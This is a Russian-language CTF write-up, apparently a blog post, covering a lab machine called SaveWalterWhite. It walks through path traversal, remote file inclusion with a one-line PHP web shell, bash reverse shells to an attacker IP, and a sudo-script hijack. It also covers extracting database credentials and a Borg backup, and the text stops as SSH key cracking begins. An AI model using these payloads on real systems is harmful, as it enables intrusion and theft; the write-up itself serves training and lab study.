{"id":483227,"date":"2026-06-10T19:37:54","date_gmt":"2026-06-10T19:37:54","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=483227"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=483227","title":{"rendered":"SaveWalterWhite \u2014 \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 Aclabs.pro"},"content":{"rendered":"
\n
<\/figure>\n

\u041a\u0440\u0430\u0442\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/h3>\n

\u0414\u0430\u043d\u043d\u044b\u0439 \u0442\u0430\u0441\u043a \u0431\u044b\u043b \u0430\u043a\u0442\u0438\u0432\u0435\u043d \u0432 6 \u0441\u0435\u0437\u043e\u043d\u0435 CTF, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 ACLAbs. \u042d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u0430\u044f \u043c\u0430\u0448\u0438\u043d\u0430, \u043e\u0434\u043d\u0430\u043a\u043e \u0438\u043c\u0435\u0435\u0442 5 \u0444\u043b\u0430\u0433\u043e\u0432. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u0443\u0442\u0438\u043c RFI \u0434\u043e RCE, \u0434\u0430\u043b\u0435\u0435 \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u043f\u0440\u043e\u0439\u0434\u0435\u043c\u0441\u044f \u043f\u043e \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044e \u0438 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0441\u0431\u0435\u0436\u0438\u043c \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430.<\/p>\n

\u041a\u0441\u0442\u0430\u0442\u0438 12 \u0438\u044e\u043d\u044f \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442 \u043d\u043e\u0432\u044b\u0439, 7 \u0441\u0435\u0437\u043e\u043d \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 aclabs.pro<\/a>. \u0411\u0443\u0434\u0443\u0442 \u043d\u043e\u0432\u044b\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0412\u0441\u0435\u043c, \u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0435\u043d \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437 \u0438 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0430\u0447\u043a\u0438, \u0436\u0434\u0435\u043c \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435. \u0412\u0445\u043e\u0434 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439!<\/p>\n\n

\u0420\u0430\u0437\u0432\u0435\u0434\u043a\u0430 (T1595.002)<\/h3>\n
<\/figure>\n

\u041a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0446\u0435\u043b\u0438.<\/p>\n

sudo nmap -sC -sV ipPORT   STATE SERVICE VERSION22\/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)| ssh-hostkey: |   3072 7d:9f:93:42:8b:98:b0:7a:bb:78:f6:7f:9e:0f:bc:96 (RSA)|   256 13:42:95:43:cd:7a:05:fb:65:c8:f7:04:0f:9f:fd:c9 (ECDSA)|_  256 58:a2:eb:17:9d:11:67:ae:34:91:7b:48:f7:44:37:de (ED25519)80\/tcp open  http    Apache httpd 2.4.56 ((Debian))| http-methods: |_  Supported Methods: GET HEAD POST OPTIONS|_http-server-header: Apache\/2.4.56 (Debian)|_http-title: Save Walter WhiteService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code>
<\/a><\/div><\/pre>\n
\u041e\u0441\u043e\u0431\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e, \u043f\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0443 22 ssh, 80 http. \u0412\u0435\u0431\u0441\u0430\u0439\u0442 \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u043e\u0431\u044b\u043a\u043d\u043e\u0432\u0435\u043d\u043d\u044b\u0439, \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u043e\u043b\u0435\u0439 \u0432\u0432\u043e\u0434\u0430.<\/p>\n
\"SaveWalterWhite<\/p>\n
SaveWalterWhite site<\/figcaption><\/div>\n<\/figure>\n
\u041e\u0434\u043d\u0430\u043a\u043e \u043d\u0443\u0436\u043d\u043e \u0432\u0437\u0433\u043b\u044f\u043d\u0443\u0442\u044c \u043d\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434, \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435. \u0415\u0441\u0442\u044c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439, \u043d\u043e \u0435\u0449\u0435 \u043b\u0443\u0447\u0448\u0435 \u0443 \u043d\u0430\u0441 \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438.<\/p>\n
\"\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439<\/p>\n
\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434<\/figcaption><\/div>\n<\/figure>\n
\u0424\u0430\u0439\u043b image.php \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 ?file=<\/code> . \u0417\u043d\u0430\u0447\u0438\u0442 \u0432 \u0442\u0435\u043e\u0440\u0438\u0438 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b, \u0447\u0442\u043e \u0434\u0430\u0435\u0442 \u043d\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c path traversal. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0443 \u043d\u0430\u0441 Debian, \u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0444\u0430\u0439\u043b etc\/passwd.<\/p>\n
\"Path<\/p>\n
Path traversal<\/figcaption><\/div>\n<\/figure>\n
\u041e\u0442\u043b\u0438\u0447\u043d\u043e! \u0418\u0437 \u044d\u0442\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430, \u043c\u044b \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u0443 \u044d\u0442\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b 3 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u044d\u0442\u043e walt<\/code>, saul<\/code> \u0438 jesse<\/code>. \u041d\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u0443\u0447\u0438\u0432\u0430\u0442\u044c \u0434\u043e RCE<\/code>.<\/p>\n\n
\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f (T1190) RFI — RCE<\/h3>\n
\u041f\u0435\u0440\u0435\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u043b \u043c\u043d\u043e\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u0440\u0443\u0433\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u043e \u043f\u0440\u0430\u0432 \u043d\u0435 \u0445\u0432\u0430\u0442\u0430\u043b\u043e. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0448\u0435\u043b \u0447\u0438\u0442\u0430\u0442\u044c PayloadAllTheThings https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/tree\/master\/File Inclusion<\/a> \u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e RFI (Remote File Inclusion)<\/code>.<\/p>\n
\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u0444\u0430\u0439\u043b\u0438\u043a \u0443 \u0441\u0435\u0431\u044f \u043d\u0430 \u0445\u043e\u0441\u0442\u0435, \u044f \u043d\u0430\u0437\u0432\u0430\u043b \u0435\u0433\u043e cmd.php<\/code> \u0441 \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u044b\u043c.<\/p>\n
<?php system($_GET['cmd']); ?><\/code>
<\/a><\/div><\/pre>\n
\u041f\u0440\u0438\u043f\u043e\u0434\u043d\u0438\u043c\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430 python.<\/p>\n
python -m http.server 8888<\/code>
<\/a><\/div><\/pre>\n
\u0414\u0430\u043b\u0435\u0435 \u0447\u0435\u0440\u0435\u0437 \u0431\u0443\u0440\u043f \u043f\u043e\u0441\u044b\u043b\u0430\u044e \u0437\u0430\u043f\u0440\u043e\u0441, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 id<\/code>.<\/p>\n
\"RFI<\/p>\n
RFI to RCE<\/figcaption><\/div>\n<\/figure>\n
\u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c RCE<\/code>, \u0430 \u044d\u0442\u043e \u0443\u0436\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u043e\u0431\u0440\u043e\u0441\u0438\u043c \u0441\u0435\u0431\u0435 \u0440\u0435\u0432\u0435\u0440\u0441-\u0448\u0435\u043b\u043b. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u0434\u043d\u0438\u043c\u0435\u043c \u0435\u0449\u0435 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u043f\u043e\u0440\u0442\u0443 4444.<\/p>\n
bash -i >& \/dev\/tcp\/10.20.10.5\/4444 0>&1<\/code>
<\/a><\/div><\/pre>\n
\u041a\u0441\u0442\u0430\u0442\u0438, \u0431\u0435\u0437 \u043e\u0431\u0435\u0440\u0442\u043a\u0438 bash -c<\/code> \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432\u044b\u0448\u0435 \u0447\u0430\u0441\u0442\u043e \u043d\u0435 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0442\u0430\u043a.<\/p>\n
bash -c 'bash -i >& \/dev\/tcp\/10.20.10.5\/4444 0>&1'<\/code>
<\/a><\/div><\/pre>\n
\u0415\u0435 \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u044d\u043d\u043a\u043e\u0434\u0438\u0442\u044c \u0432 url \u043b\u0438\u0431\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0432 \u0440\u0435\u043f\u0438\u0442\u0435\u0440\u0435 \u043d\u0430\u0436\u0430\u0442\u044c ctrl+u<\/code>. \u041e\u0431\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0435.<\/p>\n
\u041f\u043e\u0441\u043b\u0435 \u0432\u0441\u0435\u0445 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0439 \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b.<\/p>\n
\"\u0420\u0435\u0432\u0435\u0440\u0441<\/p>\n
\u0420\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b<\/figcaption><\/div>\n<\/figure>\n\n
\u041f\u0435\u0440\u0432\u044b\u0439 \u0424\u043b\u0430\u0433<\/h3>\n
\u041d\u0430\u0432\u0435\u0440\u043d\u043e\u0435 \u044d\u0442\u043e \u043f\u0435\u0440\u0432\u0430\u044f \u043c\u0430\u0448\u0438\u043d\u0430, \u0443 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c www-data<\/code>, \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0445\u043e\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 sudo<\/code>.<\/p>\n
sudo -lMatching Defaults entries for www-data on 50e6802eb8a3:    env_reset, mail_badpass,    secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/binUser www-data may run the following commands on 50e6802eb8a3:    (jesse) NOPASSWD: \/opt\/scripts\/backup.sh<\/code>
<\/a><\/div><\/pre>\n
\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u044d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442<\/p>\n
ls -la \/opt\/scripts\/backup.sh-rwxrwxrwx 1 jesse jesse 940 Dec  2 17:31 \/opt\/scripts\/backup.sh<\/code>
<\/a><\/div><\/pre>\n
\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0443 \u043d\u0430\u0441 \u043f\u043e\u043b\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430, \u044f \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u043b \u0432 \u043d\u0435\u0433\u043e \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0440\u0435\u0432\u0435\u0440\u0441-\u0448\u0435\u043b\u043b.<\/p>\n
echo \"bash -c 'bash -i >& \/dev\/tcp\/10.20.10.5\/5555 0>&1'\" > \/opt\/scripts\/backup.sh<\/code>
<\/a><\/div><\/pre>\n
\u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u0435\u0433\u043e \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 jesse<\/code><\/p>\n
sudo -u jesse \/opt\/scripts\/backup.sh<\/code>
<\/a><\/div><\/pre>\n
\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0448\u0435\u043b\u043b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 jesse<\/code> \u0438 \u0447\u0438\u0442\u0430\u0435\u043c \u043f\u0435\u0440\u0432\u044b\u0439 \u0444\u043b\u0430\u0433.<\/p>\n
cat flag1.txtflag_38ae3a7c98175e4aeff0b2a3d67aa3c4<\/code>
<\/a><\/div><\/pre>\n
\u0412\u0442\u043e\u0440\u043e\u0439 \u0444\u043b\u0430\u0433<\/h3>\n
\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043c\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u0436\u0435 \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f jesse<\/code>, \u0442\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043c\u0441\u044f \u043f\u043e ssh, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0432 id_rsa<\/code>.<\/p>\n
\u041d\u0443\u0436\u043d\u043e \u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c\u0441\u044f \u0432 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438.<\/p>\n
\"Jesse<\/p>\n
Jesse terminal notes<\/figcaption><\/div>\n<\/figure>\n
\u0423 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0430, \u0447\u0442\u043e Saul<\/code> \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u0430\u0440\u0445\u0438\u0432, \u043d\u043e \u043c\u044b \u043d\u0435 \u0437\u043d\u0430\u0435\u043c \u043d\u0438 \u043a\u043b\u044e\u0447 \u043d\u0438 \u043f\u0430\u0440\u043e\u043b\u044c.<\/p>\n
\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u0437\u0430 \u0430\u0440\u0445\u0438\u0432 \u0438 \u0447\u0442\u043e \u0442\u0430\u043c \u043b\u0435\u0436\u0438\u0442.<\/p>\n
tar -xf saul-back.tar -C \/tmp<\/code>
<\/a><\/div><\/pre>\n
ls                                                                                                                      README  config  data  hints.13  index.13  integrity.13  nonce\u250c\u2500\u2500(jesse\u327f50e6802eb8a3)-[\/tmp\/backup]\u2514\u2500$ cat README                                                                                                              This is a Borg Backup repository.See https:\/\/borgbackup.readthedocs.io\/<\/code>
<\/a><\/div><\/pre>\n
Borg Backup<\/code> — \u044d\u0442\u043e \u043c\u043e\u0449\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441 \u0434\u0435\u0434\u0443\u043f\u043b\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c.<\/p>\n
\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b borg<\/code> \u043d\u0435\u0442, \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u0431\u0440\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u0431\u044d\u043a\u0430\u043f \u043a \u0441\u0435\u0431\u0435 \u043d\u0430 Kali \u0438 \u00ab\u0432\u0441\u043a\u0440\u044b\u0442\u044c\u00bb \u0435\u0433\u043e \u0442\u0430\u043c.<\/p>\n
\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043c\u044b \u0443\u0436\u0435 \u0432 SSH<\/code>, \u0441\u0430\u043c\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0435 \u2014 \u0437\u0430\u0431\u0440\u0430\u0442\u044c \u0444\u0430\u0439\u043b \u0447\u0435\u0440\u0435\u0437 scp<\/code>.<\/p>\n
scp -i id_rsa jesse@10.10.10.155:~\/saul-back.tar .<\/code>
<\/a><\/div><\/pre>\n
\u0414\u0430\u043b\u0435\u0435 \u043d\u0430 \u0441\u0432\u043e\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c borgbackup<\/code>.<\/p>\n
sudo apt install borgbackuptar -xf saul-back.tar <\/code>
<\/a><\/div><\/pre>\n
\u041f\u043e\u044f\u0432\u0438\u0442\u0441\u044f \u043f\u0430\u043f\u043a\u0430 backup. \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043f\u0438\u0441\u043e\u043a \u0430\u0440\u0445\u0438\u0432\u043e\u0432.<\/p>\n
borg list .Enter passphrase for key \/home\/den\/backup: <\/code>
<\/a><\/div><\/pre>\n
\u041d\u0443\u0436\u043d\u0430 \u043f\u0430\u0441\u0441\u0444\u0440\u0430\u0437\u0430, \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043a\u0430\u0442\u044c.<\/p>\n
\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u0432 \u043f\u0430\u043f\u043a\u0443 \/var\/www\/html<\/code>. \u0422\u0430\u043c \u043d\u0430\u0439\u0434\u0435\u043c \u0444\u0430\u0439\u043b\u044b admin.php<\/code>, api.php<\/code>, image.php<\/code>.<\/p>\n
cat admin.php <?phpsession_start();\/\/ \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445$db = new mysqli('db', 'root', 'root', 'walter_fund');<\/code>
<\/a><\/div><\/pre>\n
\u0415\u0441\u0442\u044c \u043a\u0440\u0435\u0434\u044b \u0434\u043b\u044f \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445. \u041e\u0434\u043d\u0430\u043a\u043e, \u0434\u0430\u043c\u043f\u0430 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u043b\u0438 \u0443\u0442\u0438\u043b\u0438\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0431\u0430\u0437\u0443 \u043d\u0435\u0442.<\/p>\n
which mysql mariadb mysqlsh mycli sqlite3 php python3                                                                   \/usr\/local\/bin\/php<\/code>
<\/a><\/div><\/pre>\n
\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435, \u0447\u0442\u043e \u0435\u0441\u0442\u044c php<\/code>. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e php<\/code> \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u043e\u0436\u0435. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0443\u0434\u0435\u043c \u0432\u0441\u0435 \u043f\u0438\u0441\u0430\u0442\u044c \u0440\u0443\u0447\u043a\u0430\u043c\u0438. \u0417\u0430\u0445\u043e\u0434\u0438\u043c \u0432 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0448\u0435\u043b\u043b \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u0438 \u0432\u044b\u0434\u0438\u0440\u0430\u0435\u043c \u0432\u0441\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435.<\/p>\n
php -aInteractive shellphp > $db=new mysqli(\"db\",\"root\",\"root\",\"walter_fund\");php > $r=$db->query(\"show tables\");php > while($row=$r->fetch_row()) print_r($row);Array(    [0] => admins)Array(    [0] => donations)php > $r=$db->query(\"select * from admins\");php > while($row=$r->fetch_assoc()) print_r($row);Array(    [id] => 1    [username] => flynn    [password] => junior)<\/code>
<\/a><\/div><\/pre>\n
\u0414\u0430\u043b\u0435\u0435 \u0432\u044b\u0434\u0438\u0440\u0430\u0435\u043c \u0442\u0430\u0431\u043b\u0438\u0446\u0443 donations<\/code>.<\/p>\n
php > $r=$db->query(\"select * from donations\");php > while($row=$r->fetch_assoc()) print_r($row);Array(    [id] => 1    [donor_name] => Jesse Pinkman    [amount] => 5000.00    [donation_date] => 2009-10-18)Array(    [id] => 2    [donor_name] => Hank Schrader    [amount] => 1500.00    [donation_date] => 2009-09-18)Array(    [id] => 3    [donor_name] => Skinny Pete    [amount] => 50.50    [donation_date] => 2009-10-20)Array(    [id] => 4    [donor_name] => Gustavo Fring of Los Pollos Hermanos    [amount] => 10000.00    [donation_date] => 2009-10-20)Array(    [id] => 5    [donor_name] => Batcher    [amount] => 30.00    [donation_date] => 2009-10-23)Array(    [id] => 6    [donor_name] => Marie Schrader    [amount] => 500.00    [donation_date] => 2009-10-24)Array(    [id] => 7    [donor_name] => Bogdan Volanitz    [amount] => 100.00    [donation_date] => 2009-10-27)Array(    [id] => 8    [donor_name] => S11pp1n000Jimmy    [amount] => 9999.00    [donation_date] => 2009-10-30)<\/code>
<\/a><\/div><\/pre>\n
\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 id \u0443\u0436 \u043e\u0447\u0435\u043d\u044c \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0445\u043e\u0436 \u043d\u0430 \u043f\u0430\u0440\u043e\u043b\u044c \u043b\u0438\u0431\u043e \u043f\u0430\u0441\u0441\u0444\u0440\u0430\u0437\u0443. \u041d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c.<\/p>\n
borg list .Enter passphrase for key \/home\/den\/backup: saul-back                            Mon, 2025-12-01 12:34:39 [c5a52d964894d0c8716c2244edf422009d436b9f34389d08eb04844b981a79b2]<\/code>
<\/a><\/div><\/pre>\n
\u041f\u0430\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u0444\u0440\u0430\u0437\u0430 \u0432\u0435\u0440\u043d\u0430. \u0420\u0430\u0441\u043f\u0430\u043a\u0443\u0435\u043c \u0430\u0440\u0445\u0438\u0432.<\/p>\n
borg extract .::saul-back<\/code>
<\/a><\/div><\/pre>\n
\u041f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u043f\u0430\u043f\u043a\u0430 home\/saul \u0438 \u0437\u0434\u0435\u0441\u044c \u0435\u0441\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u0430\u044f \u043f\u0430\u043f\u043a\u0430 .ssh \u0441 \u043a\u043b\u044e\u0447\u043e\u043c. \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u043b\u043e\u0433\u0438\u043d\u0438\u0442\u0441\u044f \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 saul.<\/p>\n
ssh -i id_rsa saul@10.10.10.155** WARNING: connection is not using a post-quantum key exchange algorithm.** This session may be vulnerable to \"store now, decrypt later\" attacks.** The server may need to be upgraded. See https:\/\/openssh.com\/pq.htmlEnter passphrase for key 'id_rsa': <\/code>
<\/a><\/div><\/pre>\n
\u041d\u043e \u0438 \u0437\u0434\u0435\u0441\u044c \u0432\u0441\u0435 \u043d\u0435 \u0442\u0430\u043a \u043f\u0440\u043e\u0441\u0442\u043e, \u0441\u043d\u043e\u0432\u0430 \u043d\u0443\u0436\u043d\u0430 \u043f\u0430\u0441\u0441\u0444\u0440\u0430\u0437\u0430. \u042f \u0442\u0430\u043a\u0438\u0435 \u043c\u0430\u0448\u0438\u043d\u044b \u0443\u0436\u0435 \u0440\u0435\u0448\u0430\u043b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u0445\u044d\u0448 \u0438 \u0431\u0440\u0443\u0442\u0438\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0434\u0436\u043e\u043d\u0430.<\/p>\n
